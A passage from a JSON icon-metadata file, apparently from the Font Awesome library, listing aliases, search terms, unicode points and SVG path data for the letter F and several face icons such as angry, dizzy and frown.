        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223.1 149.5C248.6 126.2 282.7 112 320 112c79.5 0 144 64.5 144 144c0 24.9-6.3 48.3-17.4 68.7L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3l-90.3-70.8zM373 389.9c-16.4 6.5-34.3 10.1-53 10.1c-79.5 0-144-64.5-144-144c0-6.9 .5-13.6 1.4-20.2L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5L373 389.9z"
      },
      "regular": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zm151 118.3C226 97.7 269.5 80 320 80c65.2 0 118.8 29.6 159.9 67.7C518.4 183.5 545 226 558.6 256c-12.6 28-36.6 66.8-70.9 100.9l-53.8-42.2c9.1-17.6 14.2-37.5 14.2-58.7c0-70.7-57.3-128-128-128c-32.2 0-61.7 11.9-84.2 31.5l-46.1-36.1zM394.9 284.2l-81.5-63.9c4.2-8.5 6.6-18.2 6.6-28.3c0-5.5-.7-10.9-2-16c.7 0 1.3 0 2 0c44.2 0 80 35.8 80 80c0 9.9-1.8 19.4-5.1 28.2zm9.4 130.3C378.8 425.4 350.7 432 320 432c-65.2 0-118.8-29.6-159.9-67.7C121.6 328.5 95 286 81.4 256c8.3-18.4 21.5-41.5 39.4-64.8L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5l-41.9-33zM192 256c0 70.7 57.3 128 128 128c13.3 0 26.1-2 38.2-5.8L302 334c-23.5-5.4-43.1-21.2-53.7-42.3l-56.1-44.2c-.2 2.8-.3 5.6-.3 8.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zm151 118.3C226 97.7 269.5 80 320 80c65.2 0 118.8 29.6 159.9 67.7C518.4 183.5 545 226 558.6 256c-12.6 28-36.6 66.8-70.9 100.9l-53.8-42.2c9.1-17.6 14.2-37.5 14.2-58.7c0-70.7-57.3-128-128-128c-32.2 0-61.7 11.9-84.2 31.5l-46.1-36.1zM394.9 284.2l-81.5-63.9c4.2-8.5 6.6-18.2 6.6-28.3c0-5.5-.7-10.9-2-16c.7 0 1.3 0 2 0c44.2 0 80 35.8 80 80c0 9.9-1.8 19.4-5.1 28.2zm9.4 130.3C378.8 425.4 350.7 432 320 432c-65.2 0-118.8-29.6-159.9-67.7C121.6 328.5 95 286 81.4 256c8.3-18.4 21.5-41.5 39.4-64.8L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5l-41.9-33zM192 256c0 70.7 57.3 128 128 128c13.3 0 26.1-2 38.2-5.8L302 334c-23.5-5.4-43.1-21.2-53.7-42.3l-56.1-44.2c-.2 2.8-.3 5.6-.3 8.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "f": {
    "aliases": {
      "unicodes": {
        "composite": ["66"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter F", "Latin Small Letter F", "letter"]
    },
    "styles": ["solid"],
    "unicode": "46",
    "label": "F",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V256 448c0 17.7 14.3 32 32 32s32-14.3 32-32V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V256 448c0 17.7 14.3 32 32 32s32-14.3 32-32V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z"
      }
    },
    "free": ["solid"]
  },
  "face-angry": {
    "aliases": {
      "names": ["angry"],
      "unicodes": {
        "composite": ["1f620"],
        "secondary": ["10f556"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "angry",
        "angry face",
        "disapprove",
        "emoticon",
        "face",
        "mad",
        "upset"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f556",
    "label": "Face Angry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM338.7 395.9c6.6-5.9 7.1-16 1.2-22.6C323.8 355.4 295.7 336 256 336s-67.8 19.4-83.9 37.3c-5.9 6.6-5.4 16.7 1.2 22.6s16.7 5.4 22.6-1.2c11.7-13 31.6-26.7 60.1-26.7s48.4 13.7 60.1 26.7c5.9 6.6 16 7.1 22.6 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM338.7 395.9c6.6-5.9 7.1-16 1.2-22.6C323.8 355.4 295.7 336 256 336s-67.8 19.4-83.9 37.3c-5.9 6.6-5.4 16.7 1.2 22.6s16.7 5.4 22.6-1.2c11.7-13 31.6-26.7 60.1-26.7s48.4 13.7 60.1 26.7c5.9 6.6 16 7.1 22.6 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm72.4-118.5c9.7-9 10.2-24.2 1.2-33.9C315.3 344.3 290.6 328 256 328s-59.3 16.3-73.5 31.6c-9 9.7-8.5 24.9 1.2 33.9s24.9 8.5 33.9-1.2c7.4-7.9 20-16.4 38.5-16.4s31.1 8.5 38.5 16.4c9 9.7 24.2 10.2 33.9 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm72.4-118.5c9.7-9 10.2-24.2 1.2-33.9C315.3 344.3 290.6 328 256 328s-59.3 16.3-73.5 31.6c-9 9.7-8.5 24.9 1.2 33.9s24.9 8.5 33.9-1.2c7.4-7.9 20-16.4 38.5-16.4s31.1 8.5 38.5 16.4c9 9.7 24.2 10.2 33.9 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-dizzy": {
    "aliases": {
      "names": ["dizzy"],
      "unicodes": {
        "secondary": ["10f567"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dazed", "dead", "disapprove", "emoticon", "face"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f567",
    "label": "Face Dizzy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-224a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM100.7 132.7c6.2-6.2 16.4-6.2 22.6 0L160 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L182.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L160 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L137.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6zm192 0c6.2-6.2 16.4-6.2 22.6 0L352 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L374.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L352 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L329.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-224a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM100.7 132.7c6.2-6.2 16.4-6.2 22.6 0L160 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L182.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L160 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L137.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6zm192 0c6.2-6.2 16.4-6.2 22.6 0L352 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L374.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L352 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L329.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM103 135c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9zm192 0c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM103 135c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9zm192 0c9.4-9.4 24.6-9.4 33.9 0l23 23 23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-23 23 23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23-23-23c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-flushed": {
    "aliases": {
      "names": ["flushed"],
      "unicodes": {
        "composite": ["1f633"],
        "secondary": ["10f579"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dazed",
        "embarrassed",
        "emoticon",
        "face",
        "flushed",
        "flushed face"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f579",
    "label": "Face Flushed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM176 384c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16s-7.2-16-16-16H192c-8.8 0-16 7.2-16 16zm-16-88a72 72 0 1 0 0-144 72 72 0 1 0 0 144zm264-72a72 72 0 1 0 -144 0 72 72 0 1 0 144 0zm-288 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm192 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM176 384c0 8.8 7.2 16 16 16H320c8.8 0 16-7.2 16-16s-7.2-16-16-16H192c-8.8 0-16 7.2-16 16zm-16-88a72 72 0 1 0 0-144 72 72 0 1 0 0 144zm264-72a72 72 0 1 0 -144 0 72 72 0 1 0 144 0zm-288 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm192 0a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM160.4 248a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm216-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 336c-13.3 0-24 10.7-24 24s10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192zM160 176a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm144-80a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 0a80 80 0 1 0 -160 0 80 80 0 1 0 160 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM256 0a256 256 0 1 0 0 512A256 256 0 1 0 256 0zM160.4 248a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm216-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM192 336c-13.3 0-24 10.7-24 24s10.7 24 24 24H320c13.3 0 24-10.7 24-24s-10.7-24-24-24H192zM160 176a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm144-80a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm128 0a80 80 0 1 0 -160 0 80 80 0 1 0 160 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-frown": {
    "aliases": {
      "names": ["frown"],
      "unicodes": {
        "composite": ["2639"],
        "secondary": ["10f119"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.9",
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "disapprove",
        "emoticon",
        "face",
        "frown",
        "frowning face",
        "rating",
        "sad"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f119",
    "label": "Face Frown",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.3 388.7c-2.6 8.4-11.6 13.2-20 10.5s-13.2-11.6-10.5-20C145.2 326.1 196.3 288 256 288s110.8 38.1 127.3 91.3c2.6 8.4-2.1 17.4-10.5 20s-17.4-2.1-20-10.5C340.5 349.4 302.1 320 256 320s-84.5 29.4-96.7 68.7zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.3 388.7c-2.6 8.4-11.6 13.2-20 10.5s-13.2-11.6-10.5-20C145.2 326.1 196.3 288 256 288s110.8 38.1 127.3 91.3c2.6 8.4-2.1 17.4-10.5 20s-17.4-2.1-20-10.5C340.5 349.4 302.1 320 256 320s-84.5 29.4-96.7 68.7zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM174.6 384.1c-4.5 12.5-18.2 18.9-30.7 14.4s-18.9-18.2-14.4-30.7C146.9 319.4 198.9 288 256 288s109.1 31.4 126.6 79.9c4.5 12.5-2 26.2-14.4 30.7s-26.2-2-30.7-14.4C328.2 358.5 297.2 336 256 336s-72.2 22.5-81.4 48.1zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM174.6 384.1c-4.5 12.5-18.2 18.9-30.7 14.4s-18.9-18.2-14.4-30.7C146.9 319.4 198.9 288 256 288s109.1 31.4 126.6 79.9c4.5 12.5-2 26.2-14.4 30.7s-26.2-2-30.7-14.4C328.2 358.5 297.2 336 256 336s-72.2 22.5-81.4 48.1zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-frown-open": {
    "aliases": {
      "names": ["frown-open"],
      "unicodes": {
        "composite": ["1f626"],
        "secondary": ["10f57a"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "disapprove",
        "emoticon",
        "face",
        "frown",
        "frowning face with open mouth",
        "mouth",
        "open",
        "rating",
        "sad"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f57a",
    "label": "Face Frown Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-122 174.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm-122 174.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM182.4 382.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM182.4 382.5c-12.4 5.2-26.5-4.1-21.1-16.4c16-36.6 52.4-62.1 94.8-62.1s78.8 25.6 94.8 62.1c5.4 12.3-8.7 21.6-21.1 16.4c-22.4-9.5-47.4-14.8-73.7-14.8s-51.3 5.3-73.7 14.8zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grimace": {
    "aliases": {
      "names": ["grimace"],
      "unicodes": {
        "composite": ["1f62c"],
        "secondary": ["10f57f"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cringe",
        "emoticon",
        "face",
        "grimace",
        "grimacing face",
        "teeth"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f57f",
    "label": "Face Grimace",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm96-112h-8V360l55.3 0c-3.8 22.7-23.6 40-47.3 40zm47.3-56L344 344V304h8c23.8 0 43.5 17.3 47.3 40zM328 344H264V304h64v40zm0 56H264V360h64v40zm-80-96v40l-64 0V304h64zm0 56v40H184V360l64 0zm-80-16H112.7c3.8-22.7 23.6-40 47.3-40h8v40zm0 56h-8c-23.8 0-43.5-17.3-47.3-40H168v40zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm96-112h-8V360l55.3 0c-3.8 22.7-23.6 40-47.3 40zm47.3-56L344 344V304h8c23.8 0 43.5 17.3 47.3 40zM328 344H264V304h64v40zm0 56H264V360h64v40zm-80-96v40l-64 0V304h64zm0 56v40H184V360l64 0zm-80-16H112.7c3.8-22.7 23.6-40 47.3-40h8v40zm0 56h-8c-23.8 0-43.5-17.3-47.3-40H168v40zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 0 0 416 208 208 0 1 0 0-416zM512 256A256 256 0 1 1 0 256a256 256 0 1 1 512 0zM168 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h8V320h-8zm40 48h32V320H208v48zm96 0V320H272v48h32zm32 0h8c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8v48zM168 288H344c30.9 0 56 25.1 56 56s-25.1 56-56 56H168c-30.9 0-56-25.1-56-56s25.1-56 56-56zm-23.6-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
